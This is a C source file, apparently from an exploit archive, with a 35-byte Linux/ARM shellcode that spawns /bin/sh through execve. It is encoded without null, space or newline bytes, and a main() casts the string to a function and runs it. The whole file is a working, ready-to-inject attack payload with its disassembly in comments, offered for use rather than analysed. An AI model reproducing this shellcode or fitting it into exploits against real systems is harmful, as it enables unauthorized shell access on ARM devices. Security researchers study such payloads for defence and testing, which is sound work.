/* 
    Title       : Linux/ARM - execve("/bin/sh", [], [0 vars]) - 35 bytes
    Date        : 2013-09-04
    Author      : gunslinger_ (yuda at cr0security dot com)
    Tested on   : ARM1176 rev6 (v6l)
    
    An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.
    
    Cr0security.com
    
*/
#include <stdio.h>

char *shellcode = "\x01\x60\x8f\xe2"    // add     r6, pc, #1
                  "\x16\xff\x2f\xe1"    // add     bx      r6
                  "\x40\x40"            // eors    r0, r0
                  "\x78\x44"            // add     r0, pc
                  "\x0c\x30"            // adds    r0, #12
                  "\x49\x40"            // eors    r1, r1
                  "\x52\x40"            // eors    r2, r2
                  "\x0b\x27"            // movs    r7, #11
                  "\x01\xdf"            // svc     1
                  "\x01\x27"            // movs    r7, #1
                  "\x01\xdf"            // svc     1
                  "\x2f\x2f"            // .short  0x2f2f
                  "\x62\x69\x6e\x2f"    // .word   0x2f6e6962
                  "\x2f\x73"            // .short  0x732f
                  "\x68";               // .byte   0x68

int main(){
    fprintf(stdout,"Shellcode length: %d\n", strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}